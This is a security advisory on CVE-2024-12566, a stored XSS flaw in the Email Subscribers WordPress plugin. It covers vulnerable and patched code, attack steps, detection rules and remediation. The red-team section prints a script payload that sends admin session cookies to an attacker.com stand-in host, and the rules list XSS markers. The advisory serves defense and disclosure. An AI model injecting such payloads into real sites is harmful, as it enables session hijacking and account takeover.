CVE-2024-12566

Executive Summary

CVE-2024-12566 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Email Subscribers by Icegram Express WordPress plugin, versions prior to 5.7.45. The vulnerability arises from insufficient sanitization and escaping of form settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts. In a multisite WordPress environment, where the unfiltered_html capability is typically disallowed for non-super-admin users, this flaw enables privilege escalation and persistent compromise of the site. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is Medium (CVSS 3.1 base score ~4.8). No public proof-of-concept (PoC) or exploit code is available at this time.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or other web server software. The attack surface is limited to WordPress installations running the vulnerable plugin, particularly in multisite configurations where unfiltered_html is restricted.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have admin-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must visit a page containing the malicious form settings.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., other admin pages).
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires admin privileges, but in a multisite environment, a site admin can compromise other sites or the network admin.

Deep Dive & Mechanics

The vulnerability exists in the form settings functionality of the Email Subscribers plugin. When an admin configures email subscription forms, the plugin fails to properly sanitize and escape user-supplied input before storing it in the database. Specifically, fields such as form titles, descriptions, or custom CSS/JS settings are not filtered for malicious HTML or JavaScript.

Attack Flow:

1. An attacker with admin privileges (e.g., a site admin in a multisite network) navigates to the plugin's form settings page.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized field.
3. The payload is stored in the WordPress database.
4. When another admin (or a user with access to the form settings) views the settings page, the payload executes in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or fails to apply wp_kses() or htmlspecialchars() to form settings before output. The unfiltered_html capability is not properly enforced, allowing even users without that capability to inject scripts.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.7.45):

// In a settings page output
echo '<input type="text" name="ig_es_form_title" value="' . $form_title . '" />';

Here, $form_title is not sanitized or escaped, allowing direct injection.

Patched Code (5.7.45+):

// Properly escaped output
echo '<input type="text" name="ig_es_form_title" value="' . esc_attr( $form_title ) . '" />';

The patch uses esc_attr() to escape the value, preventing XSS. Additionally, the plugin now validates input with sanitize_text_field() before storage.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress multisite installation with the vulnerable plugin (version < 5.7.45).
• Admin credentials for a subsite (not super admin).

Steps:

1. Log in as a subsite admin.
2. Navigate to Email Subscribers > Forms.
3. Edit an existing form or create a new one.
4. In the "Form Title" field, inject:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the form.
6. When a super admin or another admin views the form settings, the script executes, exfiltrating their session cookie.

Note: No public exploit code is available; this is a theoretical attack.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual form settings changes in WordPress audit logs.
• Look for script tags in plugin settings database entries (e.g., wp_ig_es_forms table).
• Use WAF rules to block common XSS payloads in admin POST requests.

Hunting:

• Query the database for stored XSS patterns:

  SELECT * FROM wp_ig_es_forms WHERE form_title LIKE '%<script%';
  

• Check for unexpected admin user creation or privilege escalation.

Indicators of Compromise (IOCs)

• File Hashes: (None available; plugin files are standard WordPress plugin files.)
• Network Indicators:
  • Outbound connections to unknown domains from admin browsers.
  • POST requests to /wp-admin/admin-ajax.php with suspicious payloads.
• Database Indicators:
  • Entries in wp_ig_es_forms containing <script>, <img onerror=, or javascript:.
• Log Indicators:
  • Unusual form settings modifications in WordPress activity logs.
  • Failed login attempts from admin IPs after XSS execution.

Detection Engineering

YARA Rule

rule CVE_2024_12566_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Email Subscribers form settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12566"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Email Subscribers Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in Email Subscribers form settings
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Custom event for plugin settings change
        Plugin: "email-subscribers"
        Action: "update_form"
        NewValue|contains: 
            - "<script"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12566 Stored XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ig_es_save_form"; http_client_body; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 5.7.45 or later.
2. If unable to update, disable the Email Subscribers plugin temporarily.
3. Review and clean any existing form settings for malicious content.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Restrict admin privileges to trusted users only.
• Enable WordPress security plugins (e.g., Wordfence) to monitor for XSS.
• In multisite, enforce unfiltered_html capability only for super admins.

Patch Details: Upgrade to version 5.7.45 from the WordPress plugin repository or the vendor's site.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert